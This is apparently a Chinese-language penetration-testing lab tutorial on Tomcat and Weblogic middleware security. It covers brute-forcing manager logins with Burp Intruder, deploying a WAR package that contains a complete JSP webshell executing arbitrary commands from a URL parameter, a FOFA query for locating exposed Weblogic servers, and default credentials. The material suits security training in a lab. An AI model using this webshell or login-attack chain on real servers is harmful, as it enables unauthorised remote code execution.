Middleware

Environment: Tomcat-11.0.22 & JDK-17.0.12 & Docker & Vulhub

Tools: BurpSuite WeblogicScan

1.0 中间件安全

1.1 什么是中间件?

中间件(Middleware) 是指一种软件组件, 作用是在不同系统, 应用程序或服务之间传递数据和消息, 通常位于应用程序和操作系统之间, 负责在不同的应用程序之间传递数据, 协调不同应用程序之间的通信, 以及处理网络请求等.

中间件通常是插件式架构, 允许被集成到现有应用程序中, 可提供如: 身份验证, 授权, 缓存, 负载均衡, 日志记录, 安全性等功能, 以求简化应用程序的开发和部署过程.

  • 广义: 涵盖了从web服务器到身份验证系统, 再到消息传递等一切内容
  • 具体: Jboss Weblogic Tomcat Apache等

1.2 中间件漏洞

中间件漏洞是指在中间件软件中存在的安全漏洞, 通常包含以下几种:

  1. 代码注入漏洞: 向中间件发送恶意代码, 执行任意代码或获取敏感数据;
  2. 跨站脚本漏洞: 在中间件输出的网页中插入恶意脚本, 来窃取用户信息或进行其他恶意行为;
  3. SQL注入漏洞: 对中间件输入的SQL查询中插入恶意代码, 执行任意SQL查询或获取敏感数据;
  4. 认证和授权漏洞: 攻击者可以利用中间件的认证和授权机制的漏洞, 来绕过访问控制, 获取系统权限;
  5. 文件包含漏洞: 攻击者可以利用中间件的文件包含功能, 来包含恶意文件并执行任意代码.

2.0 Tomcat

Tomcat是一个开源的Java Servlet容器, 由Apache软件基金会开发, 它可以作为独立的Web服务器或应用服务器, 也可以作为其他Web服务器的插件来使用, 如Apache HTTP Server.

Tomcat支持Java Servlet, JavaServer Pages(JSP), Java Expression Language(EL)和WebSocket等Java技术, 并提供了许多企业级特性, 如集群, 安全性和可扩展性.


2.1 Tomcat密码爆破到WAR包部署

01 环境准备

  • 环境需要有本地JDK≥ 17

  • Tomcat 11

    以上环境仅本案例配置组合, JDK≥ 17只针对Tomcat 11版本

    • conf/tomcat-users.xml 文件添加用户

      1
      2
      3
      <role rolename="manager-gui"/>
      <role rolename="manager-script"/>
      <user username="admin" password="123456" roles="manager-gui,manager-script"/>
  • 启动服务并访问本地8080端口

  • 管理后台访问

    访问/manager/html 或点击 Manager APP


02 Tomcat账号爆破

  • 访问Tomcat登录页面, 抓取登录包

    Authorization字段包含一串字符串

    字符串: username:password→Base64

  • 数据包发送到Intruder进行账户爆破

  • 成功爆破数据


03 WAR包部署

WAR(Web Application Archive) 是一种Web应用程序的打包格式, 用于将Web应用程序打包成一个单独的文件, 便于部署和分发. WAR文件实际上是一种JAR(Java Archive)文件, 其中包含了Web应用程序的全部内容, 包括Java类, HTML, JSP, Servlet, XML配置文件, 静态资源 (如图片, CSS, JavaScript文件等). WAR文件还可以包含一些特定Web应用程序的配置文件, 例如web.xml, context.xml等.

WAR文件通常是通过Web服务器部署的, 例如Tomcat, Jetty等. 在部署Web应用程序时, Web服务器会将WAR文件解压缩并将其部署到指定的目录中, 然后启动Web应用程序. 通过将Web应用程序打包成WAR文件, 可以方便地将应用程序部署到不同的Web服务器中, 也可以方便地将应用程序分发给其他人使用.


  • 制作war包

    将以下JSP马保存为.jsp文件

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    <%@ page import="java.io.*" %>
    <%
    String cmd = request.getParameter("cmd");
    String output = "";
    if(cmd != null){
    String s = null;
    try{
    Process p = Runtime.getRuntime().exec(cmd);
    BufferedReader sI = new BufferedReader(new InputStreamReader(p.getInputStream()));
    while((s = sI.readLine()) != null){
    output += s +"\r\n";
    }
    }catch(IOException e){
    e.printStackTrace();
    }
    }
    out.println(output);
    %>
  • 将.jsp文件压缩为zip, 修改后缀为war

  • 登录Tomcat管理后台, 上传war包

    上传成功后应用程序会识别到项目

  • 访问页面不会有报错, 且网络能加载识别到对应文件

  • webshell

    路径: http(s)://网站域名/war包名/jsp文件

    1
    http://127.0.0.1:8080/test/test.jsp?cmd=ipconfig

    成功写入webshell实现RCE


3.0 Weblogic

Weblogic Server是Oracle开发的一款适用于云环境和传统环境应用服务中间件, 是基于JavaEE架构的中间件, 它提供了一个现代轻型开发平台, 用于开发, 集成, 部署和管理大型分布式web应用, 网络应用和数据库应用的Java应用服务器, 将java的动态功能和Java Enterprise标准的安全性引入大型网络应用的开发, 集成, 部署和管理中.

weblogic特征:


3.1 Weblogic 历史漏洞发现及利用

01 资产获取

  • shodan, fofa, zoomeye…

  • 默认端口: 7001

    1
    fofa: app="BEA-WebLogic-Server" && country!="CN"

02 环境准备

系统 角色 环境
Ubuntu 靶机 基于Docker的Vulhub靶场/vulhub/weblogic/weak_password(弱口令)
Kali 攻击机 WeblogicScan扫描器

WeblogicScan项目地址: https://github.com/rabbitmask/WeblogicScan

Vulhub项目地址: https://github.com/vulhub/vulhub

  • 使用Docker一键启动靶场

    docker compose up -d

    docker compose up -d命令会读取当前目录下docker-compose.yml 拉取镜像→创建容器并在后台运行

  • 访问 Weblogic 服务

    此页面为weblogic默认访问页

  • 进入控制后台

    1
    http://10.0.0.10:7001/console/login/LoginForm.jsp # 访问 /console/ 自动跳转至/console/login/LoginForm.jsp

  • 取消用户锁定

    重点: 用户封锁若开启, 爆破密码时系统会锁定 ! (靶场默认为开启状态)

    使用默认账号:密码: weblogic : Oracle@123登录到后台修改配置

    按照上图操作, 关闭用户封锁并重启靶场


03 账户爆破

  • 登录获取数据包

    账户名weblogic, 密码123, (也可随意输入, 主要是为了获取登录数据包)

    将数据包发送至Intruder模块

  • 账户爆破

    案例固定用户名, 只爆破一个字段password(只体现爆破逻辑, 实战更多采用字典爆破)

  • 密码爆破成功

    状态码一致均为302跳转, 通过Length与完整的Response内容差异判断


04 Webshell写入

本质是在Weblogic上部署程序(使用WAR包方式), WAR包制作参考前文WAR包部署章节

  • 基于Weblogic_WAR程序部署流程

    以下图示一站式部署Weblogic程序

  • Webshell地址

    1
    http://10.0.0.10:7001/test/test.jsp

    响应200, 程序可正常访问

  • RCE